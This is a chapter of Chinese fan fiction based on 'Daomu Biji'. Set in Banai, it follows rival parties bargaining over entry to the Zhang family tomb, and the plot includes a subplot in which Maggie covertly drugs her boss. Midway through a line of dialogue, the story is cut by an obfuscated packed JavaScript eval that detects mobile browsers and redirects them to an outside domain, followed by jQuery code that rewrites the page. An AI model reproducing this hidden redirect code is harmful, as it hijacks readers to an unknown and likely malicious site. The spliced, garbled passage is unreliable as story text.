巴乃的雨来得没头没尾，清晨还是阴云压山，到了中午就淅淅沥沥落下来，把民宿门口的青石板浇得发亮。
汪楚染刚把晾干的外套收进屋里，就听见院外传来引擎声——是阿宁回来了。
她走到门口，看见两辆沾满泥点的越野车停在院坝，阿宁正指挥着两名伙计搬卸后车厢里的装备。
没等伙计们把东西搬完，远处又传来一阵密集的引擎轰鸣，浩浩荡荡的车队顺着山路开过来，车轮碾过积水，溅起半米高的水花。
这支车队没在民宿门口停留，径直往前开。
汪楚染眯眼瞧着，看方向该是往阿贵叔家去的。
直到最后一辆车经过时，忽然缓缓停了下来——副驾驶的车窗降下，露出胖子那张熟悉的脸，隔老远就冲她喊：“楚染妹子！快半个多月没见，想小哥没？”
喊完，他还不忘回头拍了拍后座，嗓门更大了些：“小哥！你咋不跟楚染妹子打个招呼？”
后座的车窗慢悠悠降下，张起灵的身影露了出来。
他穿着简单的黑色外套，眼神还是一如既往的平静，却在看向汪楚染时，软了些。
汪楚染忍不住笑了，快步走到车窗边，语气轻快：“呀，张家小哥，你可算回来了，我等的花都谢了。”
雨声淅沥，正好掩住她接下来的话。
她微微俯身，凑近张起灵耳边，声音压得极低：“晚上来找我，我有东西给你。”
张起灵的目光落在她被雨气染得微红的耳尖上，喉结不自觉地滚动了一圈。
他盯着她看了几秒，才轻轻“嗯”了一声，声音很轻，却像石子投进汪楚染心里，漾开一圈涟漪。
车队又要出发了，胖子冲她挥了挥手，喊着“晚上找你唠嗑”。
汪楚染站在雨里，看着他们车队的影子消失在山路拐角，才转身回了民宿。
………………
晚饭后，玛姬就对身边的伙计递了个眼色：“去阿贵叔家，请他们过来一趟。”
伙计应声快步出门，民宿的客厅里很快就只剩下杯盘碰撞的轻响，裘德考坐在主位的红木椅上，指尖无意识地摩挲着拐杖顶端的纹路，神色沉凝。
没等多久，院外就传来胖子爽朗的嗓门。
张起灵跟在他身后，一身黑色外套沾着些雨气，进门后目光淡淡扫过客厅里的人，最后落在汪楚染身上，又很快移开。
“人都到齐了，”玛姬率先开口，目光看向胖子，“吴邪呢？怎么没跟你们一起回来？”
胖子一屁股坐在椅子上，端起桌上的凉茶灌了大半杯，抹了把嘴才把事情说开：“我们跟解家、霍家搭伙了——解雨臣带着天真去四川四姑娘山了，霍老太太倒是跟来巴乃了。你们不知道，想进张家古楼必须先去四姑娘山破机关，那地方藏着进古楼的密码，少了这一步，就算找到入口也白搭。”
玛姬挑了挑眉，语气里带了点不易察觉的讥讽：“这么说，你们是反水了？找到新的合作伙伴，就把我们抛在一边了？”
“哎，话可不能这么说！”
胖子立刻摆手：“霍当家手里有不少线索，跟她一起干，进古楼的把握不是更大？这对你们也没坏处啊，多个人多份力嘛！”
裘德考这时缓缓站起身，拐杖在地上敲了敲，发出沉闷的声响。
他看着胖子，语气带着老派的傲慢：“我们不需要霍家，一样能进张家古楼。不过霍仙姑是我老熟人了，况且张家古楼的秘密，我想所有人都想知道——合作，我们可以谈。”
“合不合作我们说了不算，你得找霍老太太谈去。”
胖子斜睨了他一眼，话锋一转，“倒是你们，口气这么大，怎么就这么有把握能进去？别是拿空话唬我们吧？”
玛姬忽然笑了，指尖在桌沿划了个圈，声音轻快：“因为我们抓了个关键人物——塌肩膀。他已经答应了，亲自带我们进张家古楼。”
这话一出，一直沉默的张起灵眼底闪过一丝深思，他垂在身侧的手轻轻攥了攥。
胖子则“腾”地一下站起来，嗓门都大了些：“嚯！你们可以啊！那孙子在巴乃的山里滑得跟泥鳅似的，居然被你们抓了！他没说什么关于小哥的事？”
“他只肯承诺带路。”玛姬摇了摇头，语气平淡得像在说一件无关紧要的事。
“这不是更好嘛！”胖子一拍大腿，“四姑娘山的密码加塌肩膀的带路，双重保险啊！进古楼稳了！”
玛姬瞥了他一眼，语气带着点施舍般的随意：“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16282118|181796||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你回去可以告诉霍仙姑，合不合作随她。我们老板说了，既往不咎。”
裘德考在一旁缓缓点头，眼底闪过一丝冷光——这些年，他为了张家古楼的线索，在霍仙姑身上吃了不少暗亏，被她抢过资料，设过圈套。
这一次，就算霍仙姑不合作，他手里有塌肩膀这张牌，一样能达成目的。
胖子看了眼身旁的张起灵，见他没什么表示，便站起身：“行，那我们这就回去给霍老太太带话。不过丑话说在前头，那老太婆傲得很，年轻时就是圈子里的霸王花，现在年纪大了，脾气更倔，你们别抱太大希望。”
“再傲，不也照样来了巴乃？”
玛姬嗤笑一声，语气里满是不屑，“你告诉她，我们老板不计较她之前的算计，想合作，随时欢迎。”
胖子应了声，转身跟张起灵对视一眼，两人没再多说，并肩往门口走。
经过汪楚染身边时，张起灵的脚步顿了顿，深沉的看了她一眼，才快步跟上胖子的脚步，消失在雨幕里。
他们刚走，玛姬就立刻换了副神色，快步走到裘德考身边，小心翼翼地扶着他的胳膊：“Boss，您慢点。”
她一边扶着裘德考往楼上走，一边轻轻拍着他的后背，语气里满是担忧，“您的身体怎么越来越差了？刚才说话都咳嗽了，我真担心……”
裘德考靠在她身上，咳了两声，用英语低声说：“不管霍仙姑答不答应，明天一早立即行动，我等不了了………”
“好，我这就去安排。”玛姬柔声应着，扶着他一步步走上楼梯，背影看起来恭敬又体贴。
客厅里，汪楚染端着茶杯，看着他们上楼的背影，和阿宁对视了一眼。
两人眼底都藏着一丝好笑——玛姬的演技，真是越来越炉火纯青了。
谁能想到，这个口口声声“担心老板身体”的人，正是每天给裘德考的药里偷偷加**的人？
一边下毒，一边扮演着忠心耿耿的下属，这出戏，连裘德考自己都被蒙在鼓里。
阿宁走到汪楚染身边，压低声音：“明天行动？”
汪楚染点了点头，指尖轻轻摩挲着杯沿：“等了这么久，终于要开始了。”
她抬眼看向窗外，雨还在……